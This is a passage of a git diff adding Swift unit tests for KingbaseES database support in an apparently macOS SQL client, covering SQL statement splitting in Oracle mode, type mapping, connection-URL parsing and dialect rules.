+            from: .postgresql, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql,
+            sourceSession: nil, targetSession: Self.oracleModeSession
+        ) != nil)
+        #expect(ObjectCopyEligibility.definitionEngineRefusal(
+            from: .kingbasees, to: .postgresql, sourceSession: Self.oracleModeSession, targetSession: nil
+        ) != nil)
+    }
+
+    @Test
+    func kingbaseESCopiesBetweenServersOfTheSameModeOnly() {
+        #expect(ObjectCopyEligibility.engineRefusal(
+            from: .kingbasees, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql,
+            sourceSession: Self.oracleModeSession, targetSession: Self.oracleModeSession
+        ) == nil)
+        #expect(ObjectCopyEligibility.engineRefusal(
+            from: .kingbasees, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql,
+            sourceSession: Self.oracleModeSession, targetSession: Self.pgModeSession
+        ) != nil)
+    }
+
     /// Copying a database onto itself either drops the rows it is about to read or doubles them.
     @Test
     func theSameScopeIsRefusedAsATarget() {
diff --git a/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift b/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift
index a07120e9b3..5e78070475 100644
--- a/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift
+++ b/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift
@@ -93,4 +93,10 @@ struct ImportTypeMapperTests {
         #expect(ImportTypeMapper.sqlType(for: .integer, databaseType: .clickhouse) == "INTEGER")
         #expect(ImportTypeMapper.sqlType(for: .boolean, databaseType: .clickhouse) == "BOOLEAN")
     }
+    @Test("KingbaseES imports keep 64-bit integers and native JSON")
+    func kingbaseImportTypes() {
+        #expect(ImportTypeMapper.sqlType(for: .integer, databaseType: .kingbasees) == "BIGINT")
+        #expect(ImportTypeMapper.sqlType(for: .json, databaseType: .kingbasees, serverVersion: "12.1") == "JSONB")
+        #expect(ImportTypeMapper.sqlType(for: .boolean, databaseType: .kingbasees) == "BOOLEAN")
+    }
 }
diff --git a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift
new file mode 100644
index 0000000000..88182458fc
--- /dev/null
+++ b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift
@@ -0,0 +1,37 @@
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+@MainActor
+struct PluginMetadataRegistryKingbaseESTests {
+    @Test("KingbaseES is offered before installation and resolves to its own registry plugin")
+    func registryIdentity() throws {
+        let registry = PluginMetadataRegistry.shared
+        #expect(registry.allRegisteredTypeIds().contains("KingbaseES"))
+        #expect(registry.pluginTypeId(for: "KingbaseES") == "KingbaseES")
+        #expect(DatabaseType.kingbasees.isDownloadablePlugin)
+        let snapshot = try #require(registry.snapshot(forRegisteredTypeId: "KingbaseES"))
+        let postgreSQL = try #require(registry.snapshot(forRegisteredTypeId: "PostgreSQL"))
+        #expect(snapshot.displayName == "KingbaseES")
+        #expect(snapshot.iconName == "cylinder")
+        #expect(snapshot.connection.tagline != postgreSQL.connection.tagline)
+        #expect(snapshot.defaultPort == 54_321)
+        #expect(snapshot.urlSchemes == ["kingbase", "kingbase8"])
+        #expect(snapshot.parameterStyle == .dollar)
+        #expect(snapshot.schema.systemSchemaNames == PluginMetadataRegistry.kingbaseESSystemSchemaNames)
+        #expect(snapshot.capabilities.supportsSchemaSwitching)
+        #expect(snapshot.connection.additionalConnectionFields.map(\.id) == ["usePgpass", "connectionOptions"])
+    }
+
+    @Test("Both KingbaseES URL schemes keep credentials and route to the dedicated engine", arguments: ["kingbase", "kingbase8"])
+    func connectionURLs(scheme: String) throws {
+        let parsed = try ConnectionURLParser.parse("\(scheme)://system:pass@localhost:55432/test").get()
+        #expect(parsed.type == .kingbasees)
+        #expect(parsed.host == "localhost")
+        #expect(parsed.port == 55_432)
+        #expect(parsed.database == "test")
+        #expect(parsed.username == "system")
+        #expect(parsed.password == "pass")
+    }
+}
diff --git a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift
index dcbe133766..e5d6ddaacd 100644
--- a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift
+++ b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift
@@ -7,7 +7,7 @@ import Testing
 struct PluginMetadataRegistryTypeCountTests {
     private static let expectedTypeIds: Set<String> = [
         "Beancount", "BigQuery", "Cassandra", "ClickHouse", "Cloudflare D1", "Cloudflare R2 SQL",
-        "CockroachDB", "Dameng", "Databend", "DuckDB", "DynamoDB", "Elasticsearch", "etcd", "Kafka",
+        "CockroachDB", "Dameng", "Databend", "DuckDB", "DynamoDB", "Elasticsearch", "etcd", "Kafka", "KingbaseES",
         "libSQL", "MariaDB", "MongoDB", "MySQL", "Oracle", "PGlite", "PostgreSQL", "Redis", "Redshift",
         "SAP HANA", "ScyllaDB", "Snowflake", "Spanner", "SQL Server", "SQLite", "SurrealDB", "Teradata", "TiDB",
         "Trino", "Presto", "Turso", "Typesense", "Weaviate", "OceanBase", "Firestore", "Firebase Realtime Database", "Bigtable"
diff --git a/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift b/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift
index 8414620d22..b7afd70ee6 100644
--- a/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift
+++ b/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift
@@ -60,6 +60,15 @@ struct PostgreSQLDashboardProviderTests {
         #expect(try catalog(for: .cockroachdb, serverVersion: "13.0.0") == .current)
     }
 
+    // KingbaseES V9R1C10 reports server_version 12.1 in both modes and answers all five metrics.
+    @Test("KingbaseES reads the current catalog and every metric")
+    func kingbaseReadsCurrentCatalog() throws {
+        let provider = ServerDashboardQueryProviderFactory.provider(for: .kingbasees, serverVersion: "12.1")
+        let postgres = try #require(provider as? PostgreSQLDashboardProvider)
+        #expect(postgres.activityCatalog == .current)
+        #expect(postgres.metricSet == .full)
+    }
+
     @Test("Redshift never names a pg_stat_activity column that arrived after PostgreSQL 8.0")
     func redshiftAsksOnlyForItsColumns() async throws {
         let provider = try #require(
diff --git a/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift b/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift
index dd219bb1c1..7cfbc7f656 100644
--- a/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift
+++ b/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift
@@ -33,7 +33,8 @@ struct ServerDashboardQueryProviderFactoryTests {
     @Test("Server engines each have one")
     func serverEnginesHaveOne() {
         let types: [DatabaseType] = [
-            .postgresql, .mysql, .mariadb, .redshift, .cockroachdb, .mssql, .clickhouse, .oracle, .mongodb, .redis,
+            .postgresql, .kingbasees, .mysql, .mariadb, .redshift, .cockroachdb, .mssql, .clickhouse, .oracle, .mongodb,
+            .redis,
         ]
         for type in types {
             #expect(ServerDashboardQueryProviderFactory.supportsDashboard(for: type), "\(type.rawValue)")
diff --git a/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift b/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift
index e17903608b..1fcce57971 100644
--- a/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift
+++ b/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift
@@ -141,4 +141,10 @@ struct CellExpressionVocabularyTests {
     func updateTakesDefault(databaseType: DatabaseType, expected: Bool) {
         #expect(CellExpressionVocabulary.updateTakesDefault(databaseType) == expected)
     }
+    @Test("KingbaseES offers the expressions of its PostgreSQL dialect")
+    func kingbaseExpressions() {
+        #expect(Self.sql(.kingbasees, .timestamp(rawType: "TIMESTAMP"))
+            == Self.sql(.postgresql, .timestamp(rawType: "TIMESTAMP")))
+        #expect(CellExpressionVocabulary.isCanonical("now()", for: .kingbasees))
+    }
 }
diff --git a/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift b/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift
index 93fa022209..b1184108b9 100644
--- a/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift
+++ b/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift
@@ -10,7 +10,7 @@ import Testing
 struct TransactionEngineFamilyTests {
     @Test(
         "Every PostgreSQL-compatible engine reads the PostgreSQL rules",
-        arguments: ["PostgreSQL", "PGlite", "AlloyDB", "Citus", "Greenplum"]
+        arguments: ["PostgreSQL", "PGlite", "AlloyDB", "Citus", "Greenplum", "KingbaseES"]
     )
     func postgresCompatibles(typeId: String) {
         #expect(TransactionEngineFamily.of(DatabaseType(rawValue: typeId)) == .postgres)
diff --git a/apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift b/apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift
new file mode 100644
index 0000000000..2caffa8b17
--- /dev/null
+++ b/apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift
@@ -0,0 +1,112 @@
+//
+//  ImportServiceSessionGrammarTests.swift
+//  TableProTests
+//
+//  A SQL file is split the way the connection's session lexes, so a KingbaseES cluster in Oracle mode gets a
+//  PL/SQL block whole and its `/` line is never sent.
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+private final class SessionGrammarDriver: PluginDriverStub, @unchecked Sendable {
+    let sessionLexicalState: PluginSessionLexicalState?
+    private let lock = NSLock()
+    private var executed: [String] = []
+
+    init(sessionLexicalState: PluginSessionLexicalState?) {
+        self.sessionLexicalState = sessionLexicalState
+    }
+
+    var statements: [String] {
+        lock.withLock { executed }
+    }
+
+    func execute(query: String) async throws -> PluginQueryResult {
+        lock.withLock { executed.append(query) }
+        return .empty
+    }
+}
+
+/// Sends every statement the source reads, as the SQL import does.
+private final class ForwardingImportPlugin: ImportFormatPlugin {
+    static let pluginName = "Forwarding Import"
+    static let pluginVersion = "1.0"
+    static let pluginDescription = "An import format that sends each statement its source reads"
+    static let formatId = "tablepro-tests-forwarding-import"
+    static let formatDisplayName = "Forwarding"
+    static let acceptedFileExtensions = ["sql"]
+    static let iconName = "doc"
+    static let requiresTargetTable = false
+
+    required init() {}
+
+    func performImport(
+        source: any PluginImportSource,
+        sink: any PluginImportDataSink,
+        progress: PluginImportProgress
+    ) async throws -> PluginImportResult {
+        var count = 0
+        for try await (statement, line) in try await source.statements() {
+            try await sink.execute(statement: statement, line: line)
+            count += 1
+        }
+        return PluginImportResult(executedStatements: count, executionTime: 0)
+    }
+}
+
+private actor DiscardingHistory: QueryHistoryRecording {
+    func record(_ request: QueryHistoryRecordRequest) async -> Bool { true }
+}
+
+@MainActor
+struct ImportServiceSessionGrammarTests {
+    private static let file = "BEGIN x := 1; y := 2; END;\n/\nSELECT 2;\n"
+
+    private func importFile(on driver: SessionGrammarDriver) async throws -> [String] {
+        let connection = TestFixtures.makeConnection(database: "app", type: .kingbasees)
+        var session = ConnectionSession(
+            connection: connection,
+            driver: PluginDriverAdapter(connection: connection, pluginDriver: driver)
+        )
+        session.browseDatabase = "app"
+        session.status = .connected
+        DatabaseManager.shared.injectSession(session, for: connection.id)
+        defer { DatabaseManager.shared.removeSession(for: connection.id) }
+
+        let formatId = "\(ForwardingImportPlugin.formatId)-\(UUID().uuidString)"
+        PluginManager.shared.importPlugins[formatId] = ForwardingImportPlugin()
+        defer { PluginManager.shared.importPlugins[formatId] = nil }
+
+        let url = FileManager.default.temporaryDirectory
+            .appendingPathComponent("session-grammar-import-\(UUID().uuidString)")
+            .appendingPathExtension("sql")
+        try Data(Self.file.utf8).write(to: url)
+        defer { try? FileManager.default.removeItem(at: url) }
+
+        let service = ImportService(connection: connection, historyRecorder: DiscardingHistory(), gate: AlwaysAllowGate())
+        _ = try await service.importFile(
+            from: url,
+            formatId: formatId,
+            encoding: .utf8,
+            scope: DatabaseScope(connectionId: connection.id, database: "app", schema: nil)
+        )
+        return driver.statements
+    }
+
+    @Test("An Oracle-mode session gets a PL/SQL block whole, and the / line that ends it is not sent")
+    func oracleModeSessionKeepsTheBlockWhole() async throws {
+        let sent = try await importFile(on: SessionGrammarDriver(sessionLexicalState: TestGrammar.kingbaseESOracleSession))
+
+        #expect(sent == ["BEGIN x := 1; y := 2; END;", "SELECT 2"])
+    }
+
+    @Test("Without a session that says otherwise the file splits as PostgreSQL does")
+    func defaultGrammarSplitsAtEverySemicolon() async throws {
+        let sent = try await importFile(on: SessionGrammarDriver(sessionLexicalState: nil))
+
+        #expect(sent.first == "BEGIN x := 1")
+    }
+}
diff --git a/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift b/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift
index 1d73d38f74..df0a3ef6c1 100644
--- a/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift
+++ b/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift
@@ -47,6 +47,7 @@ struct ExplainPlanFormatResolutionTests {
     @Test("A database type the app knows resolves a format even when the variant declares none")
     func fallsBackToCuratedDefault() {
         #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .pglite) == .postgresJson)
+        #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .kingbasees) == .postgresJson)
         #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .cloudflareD1) == .sqliteQueryPlan)
         #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .libsql) == .sqliteQueryPlan)
         #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .turso) == .sqliteQueryPlan)
diff --git a/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift b/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift
index 0bced6ceb1..5eaefccf1a 100644
--- a/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift
+++ b/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift
@@ -142,6 +142,13 @@ struct CatalogChangeClassifierTests {
         #expect(CatalogChangeClassifier.effect(of: sql, databaseType: .postgresql) == .none)
     }
 
+    @Test("a block on a KingbaseES Oracle-mode session is read as a block, not as a transaction start")
+    func oracleModeBlockIsOpaque() {
+        let sql = "BEGIN staging_pkg.create_tables(1); END;"
+        let effect = CatalogChangeClassifier.effect(of: sql, databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle)
+        #expect(effect == .opaque)
+    }
+
     @Test("a script reports the union of its statements")
     func scriptsUnionTheirStatements() {
         let effect = CatalogChangeClassifier.effect(
diff --git a/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift b/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift
index bd120a5f26..8cad388375 100644
--- a/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift
+++ b/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift
@@ -238,6 +238,7 @@ struct QueryClassifierLexicalTests {
         (DatabaseType.snowflake, "SELECT SYSTEM$ABORT_SESSION(1)"),
         (DatabaseType.teradata, "SELECT SYSLIB.AbortSessions(1, 'u', 0, 'Y', 'Y')"),
         (DatabaseType.oracle, "SELECT orders_seq.NEXTVAL FROM DUAL"),
+        (DatabaseType.kingbasees, "SELECT orders_seq.NEXTVAL FROM DUAL"),
         (DatabaseType.sapHana, "SELECT MY_SEQ.NEXTVAL FROM DUMMY"),
         (DatabaseType.snowflake, "SELECT orders_seq.nextval"),
         (DatabaseType.mssql, "SELECT NEXT VALUE FOR dbo.orders_seq"),
diff --git a/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift b/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift
index 8606ac35d7..b7a26f93f9 100644
--- a/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift
+++ b/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift
@@ -34,6 +34,21 @@ struct SQLFileParserPLSQLTests {
         !example.script.contains("--") && !example.script.contains("/*")
     }
 
+    @Test("An Oracle-mode KingbaseES import ends a quoted routine body at its semicolon")
+    func kingbaseOracleModeQuotedBodies() async throws {
+        let script = """
+            CREATE FUNCTION f() RETURNS integer LANGUAGE SQL AS E'SELECT 42';
+            CREATE FUNCTION g() RETURNS integer AS $$ SELECT 1; $$ LANGUAGE sql;
+            CREATE FUNCTION h RETURN NUMBER AS "v" NUMBER := 1; BEGIN RETURN "v"; END;
+            /
+            SELECT E'it\\'s; here';
+            SELECT 2;
+            """
+        let statements = try await Self.parse(script, grammar: TestGrammar.kingbaseESOracle)
+        #expect(statements.count == 5)
+        #expect(statements.last == "SELECT 2")
+    }
+
     @Test("An imported script splits like the same script in the editor", arguments: commentFreeCases)
     func importMatchesTheEditor(example: PLSQLScriptCase) async throws {
         #expect(try await Self.parse(example.script, grammar: TestGrammar.oracle) == example.statements)
diff --git a/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift b/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift
index 793ba35443..b8a2b9bd29 100644
--- a/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift
+++ b/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift
@@ -72,6 +72,15 @@ struct SQLScriptTextTests {
         #expect(Self.dameng.sendableStatements(text) == [text])
     }
 
+    @Test("A KingbaseES Oracle-mode session sends a block whole, where the engine's default cuts it at each ;")
+    func sessionGrammarKeepsABlockWhole() {
+        let text = "BEGIN x := 1; y := 2; END;\n/\nSELECT 2;"
+        let session = SQLScriptText(databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle)
+
+        #expect(session.sendableStatements(text) == ["BEGIN x := 1; y := 2; END;", "SELECT 2"])
+        #expect(SQLScriptText(databaseType: .kingbasees).sendableStatements(text).first == "BEGIN x := 1")
+    }
+
     @Test("Nothing but blanks sends nothing")
     func blankTextSendsNothing() {
         #expect(Self.oracle.sendableStatements("  \n ").isEmpty)
diff --git a/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift b/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift
index e2556d9288..b5df30bfd0 100644
--- a/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift
+++ b/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift
@@ -633,4 +633,31 @@ struct SQLRowToStatementConverterTests {
         )
         #expect(converter.generateUpdates(rows: plain([["a", "x"]])) == "UPDATE [Enterprise_App_Approved] SET [Shape] = N'x' WHERE [code] = N'a';")
     }
+
+    @Test("KingbaseES copies binary INSERT and UPDATE values as bytea, including empty bytes")
+    func kingbaseBinaryStatements() throws {
+        let converter = try makeConverter(
+            tableName: "documents", columns: ["id", "payload"],
+            databaseType: .kingbasees, dialect: Self.postgresDialect
+        )
+        for data in [Data(), Data([0x00, 0xFF])] {
+            let rows = plain([[.text("1"), .bytes(data)]])
+            let hex = data.map { String(format: "%02X", $0) }.joined()
+            #expect(converter.generateInserts(rows: rows).contains("'\\x\(hex)'::bytea"))
+            #expect(converter.generateUpdates(rows: rows).contains("'\\x\(hex)'::bytea"))
+        }
+    }
+
+    // X'..' is a bit-string literal, which a bytea column refuses.
+    @Test("PGlite copies binary values as bytea, not as a bit string")
+    func pgliteBinaryStatements() throws {
+        let converter = try makeConverter(
+            tableName: "documents", columns: ["id", "payload"],
+            databaseType: .pglite, dialect: Self.postgresDialect
+        )
+        let rows = plain([[.text("1"), .bytes(Data([0xDE, 0xAD]))]])
+        #expect(converter.generateInserts(rows: rows).contains("'\\xDEAD'::bytea"))
+        #expect(converter.generateUpdates(rows: rows).contains("\"payload\" = '\\xDEAD'::bytea"))
+        #expect(!converter.generateInserts(rows: rows).contains("X'DEAD'"))
+    }
 }
diff --git a/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift b/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift
index 44885110b8..3c5783a2dd 100644
--- a/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift
+++ b/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift
@@ -16,6 +16,7 @@ final class ScriptAnsweringDriver: DatabaseDriver, @unchecked Sendable {
     }
 
     let connection: DatabaseConnection
+    let sessionLexicalState: PluginSessionLexicalState?
     var status: ConnectionStatus = .connected
     var serverVersion: String? { nil }
 
@@ -38,9 +39,11 @@ final class ScriptAnsweringDriver: DatabaseDriver, @unchecked Sendable {
         sendsBatchesWhole: Bool = true,
         transactionState: PluginSessionTransactionState = .idle,
         transactionStateAfterBatches: PluginSessionTransactionState? = nil,
+        sessionLexicalState: PluginSessionLexicalState? = nil,
         answer: @escaping @Sendable (String) -> QueryBatchResult = { _ in .empty }
     ) {
         self.connection = connection
+        self.sessionLexicalState = sessionLexicalState
         self.sendsBatchesWhole = sendsBatchesWhole
         self.transactionState = transactionState
         self.transactionStateAfterBatches = transactionStateAfterBatches
diff --git a/apple/TableProTests/Helpers/TestGrammar.swift b/apple/TableProTests/Helpers/TestGrammar.swift
index 1cfd3391ba..f537d2fc22 100644
--- a/apple/TableProTests/Helpers/TestGrammar.swift
+++ b/apple/TableProTests/Helpers/TestGrammar.swift
@@ -4,6 +4,7 @@
 //
 
 @testable import TablePro
+import TableProPluginKit
 import TableProSQLGrammar
 
 /// The grammar each engine family a test names is split with, taken from the app's own resolver so a test reads
@@ -17,6 +18,18 @@ enum TestGrammar {
     static let sqlServer = DatabaseType.mssql.lexicalGrammar
     static let snowflake = DatabaseType.snowflake.lexicalGrammar
     static let standard = SQLLexicalGrammar.ansi
+
+    /// What the KingbaseES driver reports for a cluster initialized in Oracle mode.
+    static let kingbaseESOracleSession = PluginSessionLexicalState(
+        determined: [
+            .alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers,
+            .backslashEscapesInSingleQuotes,
+        ],
+        enabled: [.alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers]
+    )
+    static let kingbaseESOracle = SQLLexicalResolver.readings(
+        for: .kingbasees, session: kingbaseESOracleSession
+    ).execution
 }
 
 /// A statement split with no engine named is standard SQL, which is what a test that does not care about an engine's
diff --git a/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift b/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift
index ad08c61e2a..0496512e5d 100644
--- a/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift
+++ b/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift
@@ -13,7 +13,7 @@ struct SQLDDLFallbackPolicyTests {
     @Test("Engines with SQL DDL keep the generated statement")
     func sqlEnginesFabricate() {
         for type in [
-            DatabaseType.mysql, .postgresql, .sqlite, .mssql, .oracle,
+            DatabaseType.mysql, .postgresql, .kingbasees, .sqlite, .mssql, .oracle,
             .duckdb, .cassandra, .trino, .presto, .teradata, .clickhouse, .bigQuery, .sapHana,
         ] {
             #expect(SQLDDLFallbackPolicy.allowsGeneratedDDL(for: type), "\(type.rawValue) should fabricate")
@@ -58,7 +58,7 @@ struct SQLDDLFallbackPolicyTests {
     }
 
     private static let fabricatingTypes: Set<DatabaseType> = [
-        .mysql, .mariadb, .tidb, .databend, .oceanbase, .postgresql, .sqlite, .redshift,
+        .mysql, .mariadb, .tidb, .databend, .oceanbase, .postgresql, .kingbasees, .sqlite, .redshift,
         .cockroachdb, .pglite, .mssql, .oracle, .snowflake, .dameng, .clickhouse, .duckdb,
         .cassandra, .scylladb, .cloudflareD1, .cloudflareR2SQL, .bigQuery, .spanner,
         .libsql, .turso, .teradata, .trino, .presto, .sapHana,
diff --git a/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift b/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift
index ccc1787a90..94c7a1d481 100644
--- a/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift
+++ b/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift
@@ -45,6 +45,7 @@ struct ColumnDefaultVocabularyTests {
     func emptyStringOmittedOnOracleFamily() {
         #expect(!sqlValues(.oracle).contains("''"))
         #expect(!sqlValues(.dameng).contains("''"))
+        #expect(!sqlValues(.kingbasees).contains("''"))
         #expect(sqlValues(.mysql).contains("''"))
         #expect(sqlValues(.postgresql).contains("''"))
     }
@@ -86,6 +87,8 @@ struct ColumnDefaultVocabularyTests {
     @Test("Engines that share a plugin still get their own vocabulary")
     func sharedPluginsDoNotShareVocabulary() {
         #expect(!sqlValues(.redshift).contains("gen_random_uuid()"))
+        #expect(!sqlValues(.kingbasees).contains("gen_random_uuid()"))
+        #expect(sqlValues(.kingbasees).contains("now()"))
         #expect(sqlValues(.cockroachdb).contains("unique_rowid()"))
         #expect(!sqlValues(.postgresql).contains("unique_rowid()"))
         #expect(sqlValues(.mysql) != sqlValues(.mariadb))
diff --git a/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift b/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift
index 3f10ad021e..aa51ee2b08 100644
--- a/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift
+++ b/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift
@@ -81,6 +81,13 @@ struct ForeignKeyDialectTests {
         }
     }
 
+    // Measured on KingbaseES V9R1C10: Oracle mode keeps PostgreSQL's ON UPDATE grammar.
+    @Test("KingbaseES takes PostgreSQL's clause in both modes")
+    func kingbasees() {
+        #expect(ForeignKeyDialect.forType(.kingbasees) == ForeignKeyDialect.forType(.postgresql))
+        #expect(ForeignKeyDialect.forType(.kingbasees).allowsOmittedReferencedColumns)
+    }
+
     @Test("an engine nobody has checked keeps the full vocabulary")
     func unknownEngine() {
         let dialect = ForeignKeyDialect.forType(DatabaseType(rawValue: "SomeFuturePlugin"))
diff --git a/apple/TableProTests/Models/Schema/IndexKeyListTests.swift b/apple/TableProTests/Models/Schema/IndexKeyListTests.swift
index 6a381aad7f..d270733b9b 100644
--- a/apple/TableProTests/Models/Schema/IndexKeyListTests.swift
+++ b/apple/TableProTests/Models/Schema/IndexKeyListTests.swift
@@ -130,7 +130,7 @@ struct IndexKeyListTests {
 
     @Test("Engines that write an expression key take one; the rest take column names")
     func dialectPerEngine() {
-        for type in [DatabaseType.postgresql, .pglite, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb] {
+        for type in [DatabaseType.postgresql, .pglite, .kingbasees, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb] {
             #expect(IndexKeyDialect.forType(type) == IndexKeyDialect(takesPrefixLengths: false, takesExpressions: true))
         }
         #expect(IndexKeyDialect.forType(.mysql) == IndexKeyDialect(takesPrefixLengths: true, takesExpressions: true))
diff --git a/apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift b/apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift
new file mode 100644
index 0000000000..6075433376
--- /dev/null
+++ b/apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift
@@ -0,0 +1,80 @@
+//
+//  SQLEditorSessionGrammarTests.swift
+//  TableProTests
+//
+//  The editor's run controls split with the connection's session grammar, which is only known once the driver has
+//  connected, and a reconnect or a `SET` can change it while the editor stays open.
+//
+
+import AppKit
+import Foundation
+import SwiftUI
+@testable import TablePro
+import TableProEditorKit
+import TableProPluginKit
+import TableProTestSupport
+import TableProTextEngine
+import Testing
+
+@MainActor
+struct SQLEditorSessionGrammarTests {
+    private final class Model {
+        var text = "BEGIN\n  x := 1;\n  y := 2;\nEND;\n/\nSELECT 2;"
+        var cursorPositions: [CursorPosition] = []
+        var ran: [String] = []
+    }
+
+    private func runStatementAtCaret(in editor: SQLEditorController, model: Model) -> String? {
+        let caret = (model.text as NSString).range(of: "y := 2").location
+        editor.textViewController.setCursorPositions([CursorPosition(range: NSRange(location: caret, length: 0))])
+        editor.coordinator.runStatementAtCursorAndAdvance()
+        return model.ran.popLast()
+    }
+
+    @Test("Run Statement takes the whole block once the session reports Oracle mode")
+    func runStatementFollowsTheSession() async throws {
+        let model = Model()
+        let connection = TestFixtures.makeConnection(database: "app", type: .kingbasees)
+        let editor = SQLEditorController(input: SQLEditorInput(
+            text: Binding(get: { model.text }, set: { model.text = $0 }),
+            cursorPositions: Binding(get: { model.cursorPositions }, set: { model.cursorPositions = $0 }),
+            databaseType: .kingbasees,
+            connectionId: connection.id,
+            onRunStatement: { sql, _ in
+                model.ran.append(sql)
+                return false
+            }
+        ))
+        defer { editor.teardown() }
+        let window = NSWindow(
+            contentRect: NSRect(x: 0, y: 0, width: 600, height: 400),
+            styleMask: [.titled],
+            backing: .buffered,
+            defer: false
+        )
+        window.isReleasedWhenClosed = false
+        window.contentView = editor.textViewController.view
+        defer { window.orderOut(nil) }
+        let textView = try #require(editor.textViewController.textView)
+        try await waitUntil {
+            window.contentView?.layoutSubtreeIfNeeded()
+            return textView.window != nil
+        }
+
+        #expect(runStatementAtCaret(in: editor, model: model) == "y := 2;")
+
+        let driver = ScriptAnsweringDriver(
+            connection: connection,
+            sessionLexicalState: TestGrammar.kingbaseESOracleSession
+        )
+        var session = ConnectionSession(connection: connection)
+        session.driver = driver
+        DatabaseManager.shared.injectSession(session, for: connection.id)
+        defer { DatabaseManager.shared.removeSession(for: connection.id) }
